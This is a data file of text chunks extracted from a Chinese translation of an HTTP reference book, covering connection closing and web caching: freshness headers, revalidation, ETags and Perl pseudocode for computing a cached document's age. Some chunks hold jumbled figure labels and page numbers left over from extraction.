    {"text": "100 连接管理 ｜ 105 (a) 串行连接 事务1 事务2 事务3 事务4 响应 响应 响应 响应 1 2 3 4 服务器 1 2 3 4 请求 请求 请求 请求 连接1 连接2 连接3 连接4 时间 客户端 (b) 持久连接 事务1 事务2 事务3 事务4 响应 响应 响应 响应 1 2 3 4 服务器 1 2 3 4 请求 请求 请求 请求 时间 客户端 (c) 管道化持久连接 响应 响应 响应 响应 服务器 1 2 3 4 1 2 3 4 请求 请求 请求 请求 事务1 时间 客户端 事务2 事务3 事务4 图 4-18 4 个事务（管道化连接） 4.7 关闭连接的奥秘 连接管理——尤其是知道在什么时候以及如何去关闭连接——是 HTTP 的实用魔法之 一。"},
    {"text": "4.7.2 Content-Length 及截尾操作 每条 HTTP 响应都应该有精确的 Content-Length 首部，用以描述响应主体的尺 寸。 一些老的 HTTP 服务器会省略 Content-Length 首部，或者包含错误的长度指 示，这样就要依赖服务器发出的连接关闭来说明数据的真实末尾。 客户端或代理收到一条随连接关闭而结束的 HTTP 响应，且实际传输的实体长度与 Content-Length 并不匹配（或没有 Content-Length）时，接收端就应该质疑长 度的正确性。"},
    {"text": "输入 输出 输出 输入 客户端 服务器 图 4-19 TCP 连接是双向的 1. 完全关闭与半关闭 应用程序可以关闭 TCP 输入和输出信道中的任意一个，或者将两者都关闭了。"},
    {"text": "但当应用程序开始与很多其他类型的 HTTP 客户端、服务器和代理进行对话且开始使用管道化持久连接时，使用半关闭 来防止对等实体收到非预期的写入错误就变得很重要了。"},
    {"text": "108 ｜ 第 4 章 (a)服务器完全关闭 输入 输出 输出 输入 客户端 服务器 (b)服务器输出信道半关闭（正常关闭） 输入 输出 输出 输入 客户端 服务器 (c)服务器输入信道半关闭 输入 输出 输出 输入 客户端"},
    {"text": "而如图 7-8b 所示，使用共享的公有缓存时，对于这个流行的对象，缓存只要取一次就行 了，它会用共享的副本为所有的请求服务，以降低网络流量。 （a）来自私有缓存的重复访问 客户端 因特网 客户端 服务器 客户端 （b）共享缓存可以减少流量 客户端 因特网 客户端 缓存 服务器 客户端 图 7-8 共享的公有缓存可以降低网络流量 代理缓存遵循第 6 章描述的代理规则。"},
    {"text": "178 ｜ 第 7 章 7.6.3 代理缓存的层次结构 在实际中，实现层次化（hierarchy）的缓存是很有意义的，在这种结构中，在较小 缓存中未命中的请求会被导向较大的父缓存（parent cache），由它来为剩下的那些 “提炼过的”流量提供服务。"},
    {"text": "8 原始服务器 原始服务器 原始服务器 广域网 广域网 广域网 X X X 第二级缓存 第二级缓存 第二级缓存 地区性网络 地区性网络 地区性网络 X 第一 X X 第一 X X 第一 X 级缓存 级缓存 级缓存 （a）第一级缓存命中 （b）第二级缓存命中 （ c）第二级缓存未命中 图 7-9 在两级的缓存层次结构中访问文档 我们希望大部分用户都能在附近的第一级缓存中命中（参见图 7-9a）。"},
    {"text": "在缓存层次结构很深 169 的情况下，请求可能要穿过很长一溜缓存，但每个拦截代理都会添加一些性能损耗， 当代理链路变得很长的时候，这种性能损耗会变得非常明显。"},
    {"text": "注 8： 父缓存可能要更大一些，以便装载在多用户间流行的文档，它们还要接收来自很多子缓存的聚合流量， 这些子缓存的兴趣点可能很分散，所以还需要更高的性能。"},
    {"text": "网状缓存中的代理缓存之间会以更加复杂的方式进行对话，做出动态的缓存通信决 策，决定与哪个父缓存进行对话，或者决定彻底绕开缓存，直接连接原始服务器。"},
    {"text": "HTTP 并不支持兄弟缓存，所以人们通过一些协议对 HTTP 进行了扩展，比如因特网缓存协议（Internet Cache Protocol，ICP）和超文本缓存协 议（HyperText Caching Protocol，HTCP）。"},
    {"text": "X Y 原始服务器 B的访问点 A的访问点 广域网 X 兄弟 组织A 组织B 图 7-10 兄弟缓存 180 ｜ 第 7 章 7.7 缓存的处理步骤 现代的商业化代理缓存相当地复杂。"},
    {"text": "GET /www.joes-hardware.com/index.html HTTP/1.1 User-agent: Superbrowser 2.0 Host: www.joes-hardware.com Accept: *.* （1）接收HTTP请求报文 （2）对报文进行解析 （3）缓存 中有吗？"},
    {"text": "缓存 （6）发送响应 HTTP/1.1 200 OK Content-length: 2140 Content-type: text/html Cache-control: max-age=86400 Age: 21562 Via: ... <HEAD><TITLE>Joe’s Hardware Home Page</TITLE></HEAD> <BODY><H1>Welcome to Joe's Hardware</H1>... 图 7-11 处理一个新鲜的缓存命中 7.7.1 第一步——接收 在第一步中，缓存检测到一条网络连接上的活动，读取输入数据。"},
    {"text": "但一旦已缓存副 本停留的时间太长，超过了文档的新鲜度限值（freshness limit），就认为对象“过 时”了，在提供该文档之前，缓存要再次与服务器进行确认，以查看文档是否发生 了变化。"},
    {"text": "7.7.5 第五步——创建响应 我们希望缓存的响应看起来就像来自原始服务器的一样，缓存将已缓存的服务器响 注 10： 解析程序还要负责首部各部分的标准化，将大小写或可替换数据格式之类不太重要的区别都看作等 效的。"},
    {"text": "而且，某些请求报文中包含有完整的绝对 URL，而其他一些请求中包含的则是相对 URL 和 Host 首部，所以解析程序通常都要将这些细节隐藏起来（参见 2.3.1 节）。"},
    {"text": "比如，服务器返回 的 可 能 是 一 条 HTTP/1.0 响应（甚至是 HTTP/0.9 响应），而客户端期待的是一条 HTTP/1.1 响应，在这种情况下，缓存必须对首部进行相应的转换。"},
    {"text": "每个缓存事 务结束之后，缓存都会更新缓存命中和未命中数目的统计数据（以及其他相关的度 量值），并将条目插入一个用来显示请求类型、URL 和所发生事件的日志文件。"},
    {"text": "HTTP 有一些简单的机制可以在不要求服务器记住有哪些缓存拥有其文档副本的情 注 12： 可以通过条件请求在一步里完成图 7-12 列出的资源再验证及获取（参见 7.8.4 节）。"},
    {"text": "从服务器获取 是 是 对已缓存文档的 存入缓存 新鲜度进行更新 提供给客户端 图 7-12 缓存 GET 请求的流程图 7.8.1 文档过期 通过特殊的 HTTP Cache-Control 首部和 Expires 首部，HTTP 让原始服务器向 每个文档附加了一个“过期日期”（参见图 7-13）。"},
    {"text": "HTTP/1.0 200 OK HTTP/1.0 200 OK Date: Sat, 29 Jun 2002, 14:30:00 GMT Date: Sat, 29 Jun 2002, 14:30:00 GMT Content-type: text/plain Content-type: text/plain Content-length: 67 Content-length: 67 Expires: Fri, 05 Jul 2002, 05:00:00 GMT Cache-Control: max-age=484200 Independence Day sale at Joe's Hardware Independence Day sale at Joe's Hardware Come shop with us today! Come shop with us today! （a）Expires首部 （b）Cache-Control：max-age首部 图 7-13 Expires 首部和 Cache-Control 首部 在 缓 存 文 档 过 期 之 前， 缓 存 可 以 以 任 意 频 率 使 用 这 些 副 本， 而 无 需 与 服 务 器 联 系——当然，除非客户端请求中包含有阻止提供已缓存或未验证资源的首部。"},
    {"text": "但一 旦已缓存文档过期，缓存就必须与服务器进行核对，询问文档是否被修改过，如果 被修改过，就要获取一份新鲜（带有新的过期日期）的副本。"},
    {"text": "184 ｜ 第 7 章 7.8.2 过期日期和使用期 服务器用 HTTP/1.0+ 的 Expires 首部或 HTTP/1.1 的 Cache-Control: max-age 响 应 首 部来指定过期日期，同时还会带有响应主体。"},
    {"text": "Expires 首部和 Cache-Control: max-age 首部所做的事情本质上是一样的，但由于 Cache-Control 首部使用的是 相对时间而不是绝对日期，所以我们更倾向于使用比较新的 Cache-Control 首部。"},
    {"text": "表7-2 过期响应首部 首 部 描 述 Cache-Control:max-age max-age 值定义了文档的最大使用期——从第一次生成文档到文档不再新 鲜、无法使用为止，最大的合法生存时间（以秒为单位） Cache-Control: max-age=484200 Expires 指定一个绝对的过期日期。"},
    {"text": "如果过期日期已经过了，就说明文档不再新鲜了 Expires: Fri, 05 Jul 2002, 05:00:00 GMT 假设今天是美国东部标准时间（EST，Eastern Standard Time）2002 年 6 月 29 日上 午 9∶30，Joe 的五金商店正在准备进行 7 月 4 日（美国国庆日）特卖（只剩 5 天 了）。"},
    {"text": "如果 Joe 的服务器使用的是老式的 Expires 首 部，服务器响应报文（参见图 7-13a）中可能就会包含这个首部：13 Expires: Fri, 05 Jul 2002, 05:00:00 GMT 176 如果 Joe 的服务器使用了较新的 Cache-Control: max-age 首部，服务器响应报文 （参见图 7-13b）中可能就会包含这个首部： Cache-Control: max-age=484200 如果这还不够明确的话，可以这样来看，当前时间，EST 时间 2002 年 6 月 29 日早上 9∶30，到售卖结束时间 2002 年 7 月 5 日午夜之间有 484 200 秒。"},
    {"text": "7.8.3 服务器再验证 仅仅是已缓存文档过期了并不意味着它和原始服务器上目前处于活跃状态的文档有 注 13： 所有 HTTP 日期和时间都会在格林尼治标准时间（GMT）过期。"},
    {"text": "这种情况被称为“服务器再 验证”，说明缓存需要询问原始服务器文档是否发生了变化。 • 如果再验证显示内容发生了变化，缓存会获取一份新的文档副本，并将其存储在 旧文档的位置上，然后将文档发送给客户端。 • 如果再验证显示内容没有发生变化，缓存只需要获取新的首部，包括一个新的过 期日期，并对缓存中的首部进行更新就行了。"},
    {"text": "注 15： 其他条件首部包括 If-Unmodified-Since（在进行部分文件的传输时，获取文件的其余部分之前 要确保文件未发生变化，此时这个首部是非常有用的） 、If-Range（支持对不完整文档的缓存）和 If-Match（用于与 Web 服务器打交道时的并发控制）。"},
    {"text": "186 ｜ 第 7 章 表7-3 缓存再验证中使用的两个条件首部 首 部 描 述 If-Modified-Since:<date> 如 果 从 指 定 日 期 之 后 文 档 被 修 改 过 了， 就 执 行 请 求 的 方 法。 可 以 与 Last-Modified 服务器响应首部配合使用，只有在内容被修改后与已 缓存版本有所不同的时候才去获取内容 If-None-Match:<tags> 服务器可以为文档提供特殊的标签（参见 ETag），而不是将其与最近修 改日期相匹配，这些标签就像序列号一样。 如果已缓存标签与服务器文 档中的标签有所不同，If-None-Match 首部就会执行所请求的方法 7.8.5 If-Modified-Since:Date 再验证 最常见的缓存再验证首部是 If-Modified-Since。"},
    {"text": "只有自某个日期之后资源发生了变化的时候，IMS 请求才 会指示服务器执行请求： • 如果自指定日期后，文档被修改了，If-Modified-Since 条件就为真，通常 GET 就会成功执行。"},
    {"text": "当缓存要对已缓存文档进行 再验证时，就会包含一个 If-Modified-Since 首部，其中携带有最后修改已缓存副 本的日期： 178 If-Modified-Since: <cached last-modified date> 如果在此期间内容被修改了，最后的修改日期就会有所不同，原始服务器就会回送 新的文档。 否则，服务器会注意到缓存的最后修改日期与服务器文档当前的最后修 改日期相符，会返回一个 304 Not Modified 响应。"},
    {"text": "缓 存 ｜ 187 例如，如图 7-14 所示，如果你的缓存在 7 月 3 日对 Joe 的五金商店的 7 月 4 日特卖 声明进行再验证，就会收到一条 Not Modified 响应（参见图 7-14a）。 但如果你的缓 存在 7 月 5 日午夜售卖结束后对文档进行再验证，缓存就会收到一个新文档，因为 服务器内容已经发生了变化（参见图 7-14b）。"},
    {"text": "条件请求 GET /announce.html HTTP/1.0 If-Modified-Since: Sat, 29 Jun 2002, 14:30:00 GMT 客户端 HTTP/1.0 304 Not Modified 服务器 Date: Wed, 03 Jul 2002, 19:18:23 GMT Expires: Fri, 05 Jul 2002, 14:30:00 GMT 响应 （a）If-Modified-Since成功的再验证 条件请求 GET /announce.html HTTP/1.0 If-Modified-Since: Sat, 29 Jun 2002, 14:30:00 GMT 客户端 HTTP/1.0 200 OK 服务器 Date: Fri, 05 Jul 2002, 17:54:40 GMT Content-type: text/plain Content-length: 124 Expires: Mon, 09 Sep 2002, 05:00:00 GMT All exterior house paint on sale through Labor Day. Just another reason for you to shop this summer at Joe's Hardware! 响应 （b）If-Modified-Since失败的再验证 图 7-14 如果未发生变化， If-Modified-Since 再验证会返回 304 响应，如果发生了变化， 就返回带有新主体的 200 响应 注意，有些 Web 服务器并没有将 If-Modified-Since 作为真正的日期来进行比 对。"},
    {"text": "将最后修改日期作为某种序列号使用时，这种替代语义能够很 好地识别出缓存是否过期，但这会妨碍客户端将 If-Modified-Since 首部用于真 正基于时间的一些目的。"},
    {"text": "条件请求 GET /announce.html HTTP/1.0 If-None-Match: \"v2.6\" ETag:\"v2.6\" ETag:\"v2.6\" 缓存 HTTP/1.0 304 Not Modified 服务器 Date: Wed, 03 Jul 2002, 19:18:23 GMT ETag: \"v2.6\" Expires: Fri, 05 Jul 2002, 05:00:00 GMT 响应 图 7-15 因为实体标签仍然匹配， If-None-Match 再验证成功 180 如果服务器上的实体标签已经发生了变化（可能变成了 v3.0），服务器会在一个 200 OK 响应中返回新的内容以及相应的新 Etag。 可以在 If-None-Match 首部包含几个实体标签，告诉服务器，缓存中已经存在带 缓 存 ｜ 189 有这些实体标签的对象副本： If-None-Match: \"v2.6\" If-None-Match: \"v2.4\",\"v2.5\",\"v2.6\" If-None-Match: \"foobar\",\"A34FAC0095\",\"Profiles in Courage\" 7.8.7 强弱验证器 缓存可以用实体标签来判断，与服务器相比，已缓存版本是不是最新的（与使用最 近修改日期的方式很像）。"},
    {"text": "缓存条目都可能会留存任意 长的时间，与过期时间无关，有人可能希望当缓存验证条目时，绝对不会再次使用 在过去某一时刻获得的验证器，这种愿望可能不太现实。"},
    {"text": "除非 HTTP/1.1 原始服务器无法生成实体标签验证器，否则就应该发送一个出去， 如果使用弱实体标签有优势的话，发送的可能就是个弱实体标签，而不是强实体标 签。"},
    {"text": "190 ｜ 第 7 章 如果 HTTP/1.1 缓存或服务器收到的请求既带有 If-Modified-Since，又带有实体 标签条件首部，那么只有这两个条件都满足时，才能返回 304 Not Modified 响应。"},
    {"text": "按照优先级递减的顺序，服务器可以： • 附加一个 Cache-Control: no-store 首部到响应中去； • 附加一个 Cache-Control: no-cache 首部到响应中去； • 附加一个 Cache-Control: must-revalidate 首部到响应中去； • 附加一个 Cache-Control: max-age 首部到响应中去； • 附加一个 Expires 日期首部到响应中去；"},
    {"text": "7.9.1 no-Store 与 no-Cache 响应首部 HTTP/1.1 提供了几种限制对象缓存，或限制提供已缓存对象的方式，以维持对象的 新鲜度。 no-store 首部和 no-cache 首部可以防止缓存提供未经证实的已缓存对象： Pragma: no-cache Cache-Control: no-store Cache-Control: no-cache 标识为 no-store 的响应会禁止缓存对响应进行复制。"},
    {"text": "HTTP/1.1 中提供 Pragma: no-cache 首部 17 是为了兼容于 HTTP/1.0+。 除了与只 理解 Pragma: no-cache 的 HTTP/1.0 应用程序进行交互时，HTTP 1.1 应用程序都 应该使用 Cache-Control: no-cache。 182 注 17： 从技术上来讲，Pragma:no-cache 首部只能用于 HTTP 请求，但在实际中它作为扩展首部已被广 泛地用于 HTTP 请求和响应之中。"},
    {"text": "缓 存 ｜ 191 7.9.2 max-age 响应首部 Cache-Control: max-age 首部表示的是从服务器将文档传来之时起，可以认为此 文档处于新鲜状态的秒数。 还有一个 s-maxage 首部（注意 maxage 的中间没有连 字符），其行为与 max-age 类似，但仅适用于共享（公有）缓存： Cache-Control: max-age=3600 Cache-Control: s-maxage=3600 服务器可以请求缓存不要缓存文档，或者将最大使用期设置为零，从而在每次访问 的时候都进行刷新： Cache-Control: max-age=0 Cache-Control: s-maxage=0 7.9.3 Expires 响应首部 不推荐使用 Expires 首部，它指定的是实际的过期日期而不是秒数。"},
    {"text": "可以通过计算过期值和日期值之间的秒数差 来计算类似的新鲜生存期： Expires: Fri, 05 Jul 2002, 05:00:00 GMT 有些服务器还会回送一个 Expires:0 响应首部，试图将文档置于永远过期的状态， 但这种语法是非法的，可能给某些软件带来问题。"},
    {"text": "7.9.4 must-revalidate 响应首部 可以配置缓存，使其提供一些陈旧（过期）的对象，以提高性能。 如果原始服务器 希望缓存严格遵守过期信息，可以在原始响应中附加一个 Cache-Control: must- revalidate 首部。 Cache-Control: must-revalidate Cache-Control: must-revalidate 响应首部告诉缓存，在事先没有跟原始服务 器进行再验证的情况下，不能提供这个对象的陈旧副本。"},
    {"text": "192 ｜ 第 7 章 7.9.5 试探性过期 如果响应中没有 Cache-Control: max-age 首部，也没有 Expires 首部，缓存可 以计算出一个试探性最大使用期。 可以使用任意算法，但如果得到的最大使用期大 于 24 小时，就应该向响应首部添加一个 Heuristic Expiration Warning（试探性过期 警告，警告 13）首部。"},
    {"text": "LM-Factor 算法是一种很常用的试探性过期算法，如果文档中包含了最后修改日期， 就可以使用这种算法。 LM-Factor 算法将最后修改日期作为依据，来估计文档有多 么易变。"},
    {"text": "• 如果已缓存文档最后一次修改发生在很久以前，它可能会是一份稳定的文档，不 太会突然发生变化，因此将其继续保存在缓存中会比较安全。 • 如果已缓存文挡最近被修改过，就说明它很可能会频繁地发生变化，因此在与服 务器进行再验证之前，只应该将其缓存很短一段时间。"},
    {"text": "实际的 LM-Factor 算法会计算缓存与服务器对话的时间跟服务器声明文档最后被修 改的时间之间的差值，取这个间隔时间的一部分，将其作为缓存中的新鲜度持续时 间。 下面是 LM-factor 算法的 Perl 伪代码： $time_since_modify = max(0, $server_Date - $server_Last_Modified); $server_freshness_limit = int($time_since_modify * $lm_factor); 图 7-16 以图形方式给出了 LM-factor 的新鲜周期。"},
    {"text": "获取时间和最近修改时间之间 间隔的20%（LM-factor=0.2） 已缓存副本在这个 新的过期时间 时段内是新鲜的 时间 最近修改时间 缓存与服务器 对话的时间 图 7-16 用 LM-factor 算法计算新鲜周期 通常人们会为试探性新鲜周期设置上限，这样它们就不会变得太大了。"},
    {"text": "缓存通常会为没有任 何新鲜周期线索的文档分配一个默认的新鲜周期（通常是一个小时或一天）。 有时， 比较保守的缓存会将这种试探性新鲜生存期设置为 0，强制缓存在每次将其提供给 客户端之前，都去验证一下这些数据仍然是新鲜的。"},
    {"text": "7.9.6 客户端的新鲜度限制 Web 浏览器都有 Refresh（刷新）或 Reload（重载）按钮，可以强制对浏览器或 代 理 缓 存 中 可 能 过 期 的 内 容 进 行 刷 新。"},
    {"text": "客户端可以用 Cache-Control 请求首部来强化或放松对过期时间的限制。 有些应 用程序对文档的新鲜度要求很高（比如人工刷新按钮），对这些应用程序来说，客 户端可以用 Cache-Control 首部使过期时间更严格。"},
    {"text": "表7-4 Cache-Control 请求指令 指 令 目 的 Cache-Control: max-stale 缓存可以随意提供过期的文件。 如果指定了参数 <s>，在这段 Cache-Control: max-stale = <s> 时间内，文档就不能过期。 这条指令放松了缓存的规则 Cache-Control: min-fresh=<s> 至少在未来 <s> 秒内文档要保持新鲜。 这就使缓存规则更加严格了 Cache-Control: max-age = <s> 缓存无法返回缓存时间长于 <s> 秒的文档。 这条指令会使缓存 规则更加严格，除非同时还发送了 max-stale 指令，在这种 情况下，使用期可能会超过其过期时间 Cache-Control: no-cache 除非资源进行了再验证，否则这个客户端不会接受已缓存的 Pragma: no-cache 资源 Cache-Control: no-store 缓存应该尽快从存储器中删除文档的所有痕迹，因为其中可能 会包含敏感信息 Cache-Control: only-if-cached 只有当缓存中有副本存在时，客户端才会获取一份副本 7.9.7 注意事项 文档过期系统并不是一个完美的系统。"},
    {"text": "194 ｜ 第 7 章 因此，很多发布者都不会使用很长的过期日期。 而且，很多发布者甚至都不使用过 期日期，这样缓存就很难确定文档会在多长时间内保持新鲜了。"},
    {"text": "这里 有一个配置实例，这个例子将某目录下所有的 HTML 文件都标识为非缓存的： <Files *.html> Header set Cache-control no-cache </Files> • mod_expires mod_expires 模块提供的程序逻辑可以自动生成带有正确过期日期的 Expires 首 部。"},
    {"text": "通过这个模块，就可以将文档的过期日期设置为对其最后一次被访问之后或 者其最近修改日期之后的某一时间段。 通过这个模块可以为不同的文件类型设 置不同的过期日期，还可以使用便捷的详尽描述信息来描述其缓存能力，比如 “access plus 1 month（自访问之后起 1 个月）”。"},
    {"text": "这里有几个例子： ExpiresDefault A3600 ExpiresDefault M86400 ExpiresDefault \"access plus 1 week\" ExpiresByType text/html \"modification plus 2 days 6 hours 12 minutes\" • mod_cern_meta 通过 mod_cern_meta 模块可以将一个包含 HTTP 首部的文件与特定的对象联系起 来。"},
    {"text": "为了让作者在无需与 Web 服务器的配置文件进行交互的情况下，能够更容易地为所 提供的 HTML 文档分配 HTTP 首部信息，HTML 2.0 定义了 <META HTTP-EQUIV> 标 签。"},
    {"text": "这里有一个 <META HTTP-EQUIV> 标签设置的例子，它将 HTML 文档 标记为非缓冲的： <HTML> <HEAD> <TITLE>My Document</TITLE> <META HTTP-EQUIV=\"Cache-control\" CONTENT=\"no-cache\"> </HEAD> ... 最初，HTTP-EQUIV 标签是给 Web 服务器使用的。"},
    {"text": "如 HTML RFC 1866 所述，Web 服务器应该为 HTML 解析 <META HTTP-EQUIV> 标签，并将规定的首部插入 HTTP 响应中： HTTP 服务器可以用此信息来处理文档。 特别是，它可以在为请求此文档的报文所 发送的响应中包含一个首部字段：首部名称是从 HTTP-EQUIV 属性值中获取的，首 部值是从 CONTENT 属性值中获取的。"},
    {"text": "不幸的是，支持这个可选特性会增加服务器的额外负载，这些值也只是静态的，而 且它只支持 HTML，不支持很多其他的文件类型，所以很少有 Web 服务器和代理支 持此特性。"},
    {"text": "但是，有些浏览器确实会解析并在 HTML 内容中使用 HTTP-EQUIV 标签，像对待真 的 HTTP 首部那样来处理嵌入式首部（参见图 7-17）。 这样的效果并不好，因为支 持 HTTP-EQUIV 标签的 HTML 浏览器使用的 Cache-control 规则可能会与拦截代 理缓存所用的规则有所不同。"},
    {"text": "196 ｜ 第 7 章 HTML文件 <HTML> <HEAD> <META HTTP-EQUIV=\"Cache-control\" CONTENT=\"max-age=3600\"> 可以对某些HTTP服务器进行配置，使其为HTML文 <META HTTP-EQUIV=\"Content-type\" 件解析一些特殊的<META HTTP-EQUIV>标签。"},
    {"text": "<BODY> Welcome to XYZ Industries, a 但是，大部分Web服务器并不处理HTTP-EQUIV标签， <B>leader</B> in mechanical drilling machines for 30 years. Our new line of 会这么做的代理则更少。"},
    {"text": "the standard for CAM, at a suprisingly low price. HTML请求 </BODY> GET /xyz.html HTTP/1.0 客户端 HTTP/1.0 200 OK 服务器 Date: Fri, 07 Apr 2002, 19:21:13 GMT Content-length: 124 Cache-control: max-age=3600 Content-type: text/html; charset=utf-8 <HTML> <HEAD> <META HTTP-EQUIV=\"Cache-control\" CONTENT=\"max-age=3600\" <META HTTP-EQUIV=\"Content-type\" CONTENT=\"text/html; charset=utf-8\" </HEAD> <BODY> Welcome to XYZ Industries, a <B>leader</B> in mechanical drilling machines for... HTTP响应 有些服务器会在响应首部插入HTTP-EQUIV 特有的首部，传送给代理。"},
    {"text": "图 7-17 大多数软件都会忽略 HTTP-EQUIV 标签，所以这些标签可能会带来一些问题 7.11 详细算法 HTTP 规范提供了一个详细，但有点儿含糊不清而且经常会让人混淆的算法，来计 算文档的使用期以及缓存的新鲜度。"},
    {"text": "188 缓 存 ｜ 197 7.11.1 使用期和新鲜生存期 为了分辨已缓存文档是否足够新鲜，缓存只需要计算两个值：已缓存副本的使用期 （age），和已缓存副本的新鲜生存期（freshness lifetime）。 如果已缓存副本的时长小 于新鲜生存期，就说明副本足够新鲜，可以使用。 用 Perl 表示为： $is_fresh_enough = ($age < $freshness_lifetime); 文档的使用期就是自从服务器将其发送出来（或者最后一次被服务器再验证）之后 “老去”的总时间。"},
    {"text": "文档的新鲜生存期表明，已缓存副本在经过多长时间之后，就会因新鲜度不足而无 法再向客户端提供了。 新鲜生存期考虑了文档的过期日期，以及客户端可能请求的 任何新鲜度覆盖范围。 有些客户端可能愿意接受稍微有些过期的文档（使用 Cache-Control: max-stale 首 部 ）。 有 些 客 户 端 可 能 无 法 接 受 会 在 近 期 过 期 的 文 档（ 使 用 Cache-Control: min-fresh 首部）。 缓存将服务器过期信息与客户端的新鲜度要求结合在一起，以 确定最大的新鲜生存期。"},
    {"text": "7.11.2 使用期的计算 响应的使用期就是服务器发布响应（或服务器对其进行了再验证）之后经过的总 时间。 使用期包含了响应在因特网路由器和网关中游荡的时间，在中间节点缓存 中存储的时间，以及响应在你的缓存中停留的时间。"},
    {"text": "例 7-1 HTTP/1.1 使用期计算算法计算了已缓存文档的总体使用期 $apparent_age = max(0, $time_got_response - $Date_header_value); $corrected_apparent_age = max($apparent_age, $Age_header_value); $response_delay_estimate = ($time_got_response - $time_issued_request); $age_when_document_arrived_at_our_cache = $corrected_apparent_age + $response_delay_estimate; $how_long_copy_has_been_in_our_cache = $current_time - $time_got_response; $age = $age_when_document_arrived_at_our_cache + $how_long_copy_has_been_in_our_cache; 注 19： 记住，服务器上总是有所有文档的最新版本的。"},
    {"text": "HTTP 用一些魔法对时钟偏差和网络时延进行了补偿，但基本计算非常简单： 189 $age = $age_when_document_arrived_at_our_cache + $how_long_copy_has_been_in_our_cache; 缓存可以很方便地判断出已缓存副本已经在本地缓存了多长时间（这就是简单的簿 记问题），但很难确定响应抵达缓存时的使用期，因为不是所有服务器的时钟都是 同步的，而且我们也不知道响应到过哪里。"},
    {"text": "1. 表面使用期是基于 Date 首部的 如果所有的计算机都共享同样的、完全精确的时钟，已缓存文档的使用期就可以是 文档的“表面使用期”——当前时间减去服务器发送文档的时间。 服务器发送时间 就是 Date 首部的值。 最简单的起始时间计算可以直接使用表面时间： $apparent_age = $time_got_response - $Date_header_value; $age_when_document_arrived_at_our_cache = $apparent_age; 但并不是所有的时钟都实现了良好的同步。"},
    {"text": "我们 可能在与一个将文档缓存了很久的父缓存对话（缓存可能还存储了原始的 Date 首 部）： $apparent_age = max(0, $time_got_response - $Date_header_value); $age_when_document_arrived_at_our_cache = $apparent_age; 要明确 Date 首部描述的是原始服务器的日期。"},
    {"text": "除了基于 Date 计算出来的 Age 之外，还使用了相对 Age 值，而且不论是跨服务器 的 Date 值，还是计算出来的 Age 值都可能被低估，所以会选择使用估计出的两个 Age 值中最保守的那个（最保守的值就是最老的 Age 值）。"},
    {"text": "使用这种方式，HTTP 就 能容忍 Age 首部存在的错误，尽管这样可能会搞错究竟哪边更新鲜： $apparent_age = max(0, $time_got_response - $Date_header_value); $corrected_apparent_age = max($apparent_age, $Age_header_value); $age_when_document_arrived_at_our_cache = $corrected_apparent_age; 3. 对网络时延的补偿 事务处理可能会很慢。"},
    {"text": "但对速度非常慢的网络，或者那 些过载的服务器来说，如果文档在网络或服务器中阻塞了很长时间，相对使用期的 计算可能会极大地低估文档的使用期。"},
    {"text": "注 22： 实际上，这个时延不会高于几十分之一秒（不然用户就会放弃），但即使是对生存期很短的对象来说， HTTP 的设计者也希望使用尽可能精确的过期时间。"},
    {"text": "计算是这样进行的： 191 $apparent_age = max(0, $time_got_response - $Date_header_value); $corrected_apparent_age = max($apparent_age, $Age_header_value); $response_delay_estimate = ($time_got_response - $time_issued_request); $age_when_document_arrived_at_our_cache = $corrected_apparent_age + $response_delay_estimate; 7.11.3 完整的使用期计算算法 上一节说明了当 HTTP 所承载的文档抵达缓存时，如何计算其使用期。"},
    {"text": "当对缓存中文档的请求到达时，我们需 要知道文档在缓存中停留了多长的时间，这样才能计算文档现在的使用期： $age = $age_when_document_arrived_at_our_cache + $how_long_copy_has_been_in_our_cache; 嗒嗒！"},
    {"text": "这就是简单的 簿记问题了——我们知道了文档是什么时候到达缓存的（$time_got_reponse）， 也知道当前请求是什么时候到达的（刚才），这样停留时间就是两者之差了。"},
    {"text": "已缓存文档的使用期 服务器 服务器 响应的 处理时间 处理时间 网络时延 date_value 服务器 current_time 缓存停留时间 time_issued_request time_got_response 缓存 time_client_issued_request 客户端 图 7-18 已缓存文档的使用期包括在网络和缓存中停留的时间 缓 存 ｜ 201 7.11.4 新鲜生存期计算 回想一下，我们是在想办法弄清楚已缓存文档是否足够新鲜，是否可以提供给客户 端。 要回答这个问题，就必须确定已缓存文档的使用期，并根据服务器和客户端限 制来计算新鲜生存期。"},
    {"text": "例 7-2 服务器新鲜度限制的计算 sub server_freshness_limit { local($heuristic,$server_freshness_limit,$time_since_last_modify); $heuristic = 0; if ($Max_Age_value_set) { $server_freshness_limit = $Max_Age_value; } elseif ($Expires_value_set) { $server_freshness_limit = $Expires_value - $Date_value; } elseif ($Last_Modified_value_set) { $time_since_last_modify = max(0, $Date_value - $Last_Modified_value); $server_freshness_limit = int($time_since_last_modify * $lm_factor); $heuristic = 1; } else { 202 ｜ 第 7 章 $server_freshness_limit = $default_cache_min_lifetime; $heuristic = 1; } if ($heuristic) { if ($server_freshness_limit > $default_cache_max_lifetime) { $server_freshness_limit = $default_cache_max_lifetime; } if ($server_freshness_limit < $default_cache_min_lifetime) { $server_freshness_limit = $default_cache_min_lifetime; } } return($server_freshness_limit); } 193 现在，我们来看看客户端怎样修正服务器为文档指定的使用期限制。"},
    {"text": "例 7-3 客户端新鲜度限制的计算 sub client_modified_freshness_limit { $age_limit = server_freshness_limit( ); ## From Example 7-2 if ($Max_Stale_value_set) { if ($Max_Stale_value == $INT_MAX) { $age_limit = $INT_MAX; } else { $age_limit = server_freshness_limit( ) + $Max_Stale_value; } } if ($Min_Fresh_value_set) { $age_limit = min($age_limit, server_freshness_limit( ) - $Min_Fresh_value_set); } if ($Max_Age_value_set) { $age_limit = min($age_limit, $Max_Age_value); } } 整个进程中包含两个变量：文档的使用期及其新鲜度限制。"},
    {"text": "毕竟，如果到处都是缓存的话，内容提供商就 不需要购买大型的多处理器 Web 服务器来满足用户需求了——他们不需要付过高的 194 网络服务费，一遍一遍地向用户发送同样的数据。"},
    {"text": "更好的一点是，缓存可以将那些 漂亮的文章和广告以更快，甚至更好看的方式显示在用户的显示器上，鼓励他们去 浏览更多的内容，看更多的广告。"},
    {"text": "通过这种方式，服务器可以从缓存周期性地获取对 已缓存文档命中次数的更新。 而且，服务器还能控制在缓存必须向服务器汇报之前，其中的文档还可以使用多少 次，或者为缓存文档设置一个时钟超时值。"},
    {"text": "• http://www.w3.org/Protocols/rfc2616/rfc2616.txt RFC 2616， 由 R. Fielding、J. Gettys、J. Mogul、H. Frystyk、L. Mastinter、 P. Leach 和 T. Berners-Lee 编写的“Hypertext Transfer Protocol”。"},
